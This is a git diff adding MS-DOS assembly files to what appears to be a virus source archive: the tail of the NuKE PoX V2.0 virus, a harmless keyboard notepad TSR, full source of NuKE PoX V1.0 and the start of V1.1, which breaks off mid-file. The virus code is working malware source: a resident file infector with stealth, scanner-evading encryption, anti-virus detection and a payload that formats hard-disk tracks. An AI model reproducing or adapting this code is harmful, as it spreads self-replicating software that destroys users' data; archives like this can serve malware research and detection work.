+next_ok_exe: cmp word ptr ds:[si+1],'XE' + jne next_1_exe + cmp byte ptr ds:[si+3],'E' + je good_file_exe +next_1_exe: cmp word ptr ds:[si+1],'xe' + jne next_2_exe + cmp byte ptr ds:[si+3],'e' + je good_file_exe +next_2_exe: pop cx + pop si + stc + ret +good_file_exe: pop cx + pop si + clc + ret +Check_exten_exe ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Call Int_21h Okay +;------------------------------------------------------------------------- +calldos21 PROC + pushf + call dword ptr cs:[int21] + retn +calldos21 ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; MultiPly +;-------------------------------------------------------------------------- +multiply PROC + push bx + push cx + mov cl,0Ch + shl dx,cl + xchg bx,ax + mov cl,4 + shr bx,cl + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +multiply ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check for AV file... Like SCAN.EXE or F-PROT.EXE +;------------------------------------------------------------------------- +Check_4_av PROC + push si + push cx + mov si,dx + mov cx,256h +av: cmp byte ptr ds:[si],2eh + je av1 + inc si + loop av +av1: cmp word ptr ds:[si-2],'NA' + jnz av2 + cmp word ptr ds:[si-4],'CS' + jz fuck_av +av2: cmp word ptr ds:[si-2],'NA' + jnz av3 + cmp word ptr ds:[si-4],'EL' + jz fuck_av +av3: cmp word ptr ds:[si-2],'TO' + jnz not_av + cmp word ptr ds:[si-4],'RP' + jz fuck_av +not_av: pop cx + pop si + clc + ret +fuck_av: pop cx + pop si + stc + ret +Check_4_av ENDP +msg db "NuKE PoX V2.0 - Rock Steady" +old_time dw 0 +old_date dw 0 +file_handle dw 0 +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h ;\ + db 18h DUP (00) ;-Make 1Bh Bytes +last: +seg_a ends + end start +;========================================================================== +;========================================================================= diff --git a/MSDOS/Virus.MSDOS.Unknown.npad.asm b/MSDOS/Virus.MSDOS.Unknown.npad.asm new file mode 100644 index 00000000..2bceb2f3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npad.asm @@ -0,0 +1,271 @@ +INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt + ORG 9H*4 ;holds the address of its service routine +KEYBOARD_INT LABEL DWORD +INTERRUPTS ENDS + +SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the +SCREEN ENDS ;Extra Segment + +ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer + + ORG 1AH + HEAD DW ? ;Unread chars go from Head to Tail + TAIL DW ? + BUFFER DW 16 DUP (?) ;The buffer itself + BUFFER_END LABEL WORD + +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a .COM file +FIRST: JMP LOAD_PAD ;First time through jump to initialize routine + + CNTRL_N_FLAG DW 0 ;Cntrl-N on or off + PAD DB '_',499 DUP(' ') ;Memory storage for pad + PAD_CURSOR DW 0 ;Current position in pad + PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd + FIRST_POSITION DW ? ;Position of 1st char on screen + ATTRIBUTE DB 112 ;Pad Attribute -- reverse video + SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics + IO_CHAR DW ? ;Holds addr of Put or Get_Char + STATUS_PORT DW ? ;Video controller status port + OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt + +N_PAD PROC NEAR ;The keyboard interrupt will now come here. + ASSUME CS:CODE_SEG + PUSH AX ;Save the used registers for good form + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSHF ;First, call old keyboard interrupt + CALL OLD_KEYBOARD_INT + + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,TAIL ;Point to current tail + CMP BX,HEAD ;If at head, kbd int has deleted char + JE IN ;So leave + SUB BX,2 ;Point to just read in character + CMP BX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NO_WRAP ;Nope + MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB BX,2 +NO_WRAP:MOV DX,[BX] ;Char in DX now + CMP DX,310EH ;Is the char a Cntrl-N? + JNE NOT_CNTRL_N ;No + MOV TAIL,BX ;Yes -- delete it from buffer + NOT CNTRL_N_FLAG ;Switch Modes + CMP CNTRL_N_FLAG,0 ;Cntrl-N off? + JNE CNTRL_N_ON ;No, only other choice is on +CNTRL_N_OFF: + MOV ATTRIBUTE,7 ;Set up for normal video + MOV PAD_OFFSET,250 ;Point to 2nd half of pad + LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans + MOV IO_CHAR,AX ;over all locations in pad on screen + CALL IO ;Restore screen +IN: JMP OUT ;Done +CNTRL_N_ON: + MOV PAD_OFFSET,250 ;Point to screen stroage part of pad + LEA AX,GET_CHAR ;Make IO use Get_char so current screen + MOV IO_CHAR,AX ;is stored + CALL IO ;Store Screen + CALL DISPLAY ;And put up the pad + JMP OUT ;Done here. +NOT_CNTRL_N: + TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on? + JZ IN ;No -- leave + MOV TAIL,BX ;Yes, delete this char from buffer + CMP DX,5300H ;Decide what to do -- is it a Delete? + JNE RUBOUT_TEST ;No -- try Rubout + MOV BX,249 ;Yes -- fill pad with spaces +DEL_LOOP: + MOV PAD[BX],' ' ;Move space to current pad position + DEC BX ;and go back one + JNZ DEL_LOOP ;until done. + MOV PAD,'_' ;Put the cursor at the beginning + MOV PAD_CURSOR,0 ;And start cursor over + CALL DISPLAY ;Put up the new pad on screen + JMP OUT ;And take our leave +RUBOUT_TEST: + CMP DX,0E08H ;Is it a Rubout? + JNE CRLF_TEST ;No -- try carriage return-line feed + MOV BX,PAD_CURSOR ;Yes -- get current pad location + CMP BX,0 ;Are we at beginning? + JLE NEVER_MIND ;Yes -- can't rubout past beginning + MOV PAD[BX],' ' ;No -- move space to current position + MOV PAD[BX-1],'_' ;And move cursor back one + DEC PAD_CURSOR ;Set the pad location straight +NEVER_MIND: + CALL DISPLAY ;And put the result on the screen + JMP OUT ;Done here. +CRLF_TEST: + CMP DX,1C0DH ;Is it a carriage return-line feed? + JNE CHAR_TEST ;No -- put it in the pad + CALL CRLF ;Yes -- move to next line + CALL DISPLAY ;And display result on screen + JMP OUT ;Done. +CHAR_TEST: + MOV BX,PAD_CURSOR ;Get current pad location + CMP BX,249 ;Are we past the end of the pad? + JGE PAST_END ;Yes -- throw away char + MOV PAD[BX],DL ;No -- move ASCII code into pad + MOV PAD[BX+1],'_' ;Advance cursor + INC PAD_CURSOR ;Increment pad location + PAST_END: + CALL DISPLAY ;Put result on screen +OUT: POP ES ;Having done Pushes, here are the Pops + POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + IRET ;An interrupt needs an IRET +N_PAD ENDP + +DISPLAY PROC NEAR ;Puts the whole pad on the screen + PUSH AX + MOV ATTRIBUTE,112 ;Use reverse video + MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory + LEA AX,PUT_CHAR ;Make IO use Put-Char so it does + MOV IO_CHAR,AX + CALL IO ;Put result on screen + POP AX + RET ;Leave +DISPLAY ENDP + +CRLF PROC NEAR ;This handles carriage returns + CMP PAD_CURSOR,225 ;Are we on last line? + JGE DONE ;Yes, can't do a carriage return, exit +NEXT_CHAR: + MOV BX,PAD_CURSOR ;Get pad location + MOV AX,BX ;Get another copy for destructive tests +EDGE_TEST: + CMP AX,24 ;Are we at the edge of the pad display? + JE AT_EDGE ;Yes -- fill pad with new cursor + JL ADD_SPACE ;No -- Advance another space + SUB AX,25 ;Subtract another line-width + JMP EDGE_TEST ;Check if at edge now +ADD_SPACE: + MOV PAD[BX],' ' ;Add a space + INC PAD_CURSOR ;Update pad location + JMP NEXT_CHAR ;Check if at edge now +AT_EDGE: + MOV PAD[BX+1],'_' ;Put cursor in next location + INC PAD_CURSOR ;Update pad location to new cursor +DONE: RET ;And out. +CRLF ENDP + +GET_CHAR PROC NEAR ;Gets a char from screen and advances position + PUSH DX + MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +G_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ G_WAIT_LOW +G_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to read directly from + TEST AL,1 ;the screen buffer in memory + JZ G_WAIT_HIGH + MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time + INC DI ;Move to next screen location + DEC SI ;Decrement loop counter + CMP SI,0 ;Are we done? + JE LEAVE ;Yes + MOV PAD[BX],AH ;No -- put char we got into the pad + JMP G_WAIT_LOW ;Do it again +LEAVE: INC BX ;Update pad location + POP DX + RET +GET_CHAR ENDP + +PUT_CHAR PROC NEAR ;Puts one char on screen and advances position + PUSH DX + MOV AH,PAD[BX] ;Get the char to be put onto the screen + MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +P_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ P_WAIT_LOW +P_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to write directly to + TEST AL,1 ;the screen buffer in memory + JZ P_WAIT_HIGH + MOV ES:[DI],AH ;Move to screen, one byte at a time + MOV AH,ATTRIBUTE ;Load attribute byte for second pass + INC DI ;Point to next screen postion + DEC SI ;Decrement loop counter + JNZ P_WAIT_LOW ;If not zero, do it one more time + INC BX ;Point to next char in pad + POP DX + RET ;Exeunt +PUT_CHAR ENDP + +IO PROC NEAR ;This scans over all screen positions of the pad + ASSUME ES:SCREEN ;Use screen as extra segment + MOV BX,SCREEN + MOV ES,BX + MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + MOV BX,PAD_OFFSET ;BX will be pad location pointer + MOV CX,10 ;There will be 10 lines +LINE_LOOP: + MOV DX,25 ;And 25 spaces across +CHAR_LOOP: + CALL IO_CHAR ;Call Put-Char or Get-Char + DEC DX ;Decrement character loop counter + JNZ CHAR_LOOP ;If not zero, scan over next character + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + LOOP LINE_LOOP ;And now go back to do next line + RET ;Finished +IO ENDP + +LOAD_PAD PROC NEAR ;This procedure intializes everything + ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area + MOV AX,INTERRUPTS + MOV DS,AX + + MOV AX,KEYBOARD_INT ;Get the old interrupt service routine + MOV OLD_KEYBOARD_INT,AX ;address and put it into our location + MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. + MOV OLD_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad + MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt + + MOV AH,15 ;Ask for service 15 of INT 10H + INT 10H ;This tells us how display is set up + SUB AH,25 ;Move to twenty places before edge + SHL AH,1 ;Mult by two (char & attribute bytes) + MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor + MOV STATUS_PORT,03BAH ;Assume this is a monochrome display + TEST AL,4 ;Is it? + JNZ EXIT ;Yes - jump out + MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display + MOV STATUS_PORT,03DAH + +EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to + INT 27H ;stay and attach itself to DOS +LOAD_PAD ENDP + + CODE_SEG ENDS + + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + + + + + + + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.npox-v10.asm b/MSDOS/Virus.MSDOS.Unknown.npox-v10.asm new file mode 100644 index 00000000..a74c1b73 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox-v10.asm @@ -0,0 +1,346 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus ;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a +;*************************************************************************** + not al + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.npox-v11.asm b/MSDOS/Virus.MSDOS.Unknown.npox-v11.asm new file mode 100644 index 00000000..9d1a1717 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox-v11.asm @@ -0,0 +1,497 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -* +;*- ~~~~~~ *- +;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -* +;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *- +;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -* +;*- Bytes: 963 Bytes Memory: 963 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: + call doit_now ;Doit VirusMan... + +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the registers + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + + mov ax,7bcdh ;Are we resident Already? + int 21h + cmp bx,7bcdh ;Yupe... Quit Then... + je exit_com + + xor bx,bx + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es + mov word ptr cs:[int9][bp],bx + + mov ax,3521h ;Sometimes tend to intercept + int 21h ;This Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number od bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file ;Its an EXE file... + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 + +exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester + mov dx,cs + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;Get original CS + add dx,word ptr cs:[exe_ss][bp] ;Get original SS + mov bx,word ptr cs:[exe_ip][bp] ;Get original IP + mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS + mov ax,word ptr cs:[exe_sp][bp] ;Get original SP + mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS + mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;This is now a MOV AX,XXXX +Rock_Fix1: ;XXXX is the original SS + dw 0 ;Our XXXX Value + cli ;Disable Interrupts + mov ss,ax ;Mov it to SS + db 0BCh ;This is now a MOV SP,XXXX +Rock_Fix2: + dw 0 ;The XXXX Value for SP + sti ;Enable interrupts + db 0EAh ;JMP XXXX:YYYY +fuck_yeah: + dd 0 ;Dword IP:CS (Reverse order! +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 9 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: ;Every TIME a KEY is pressed + push ax ;This ROUTINE is called! + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave system alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected: pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,7bcdh ;Virus testing + jne int21call + jmp execute +int21call: + jmp dword ptr cs:[int21] ;Split... +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + cmp ax,7bcdh ;Was Virus testing if it was + jne continue ;Alive? If No Continue + push cs + pop ds ;If Yes, Check if COMMAND.CO + mov dx,offset command ;Is infected! And return + jmp continue2 +continue: + call check_name ;Make sure file executed + jc exit_now ;Ain't a Anti-Viral program +continue2: ;With the CRC-32 checkers + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,20h + mov dx,offset ds:[buffer] ;Read first 20h bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end of + xor cx,cx 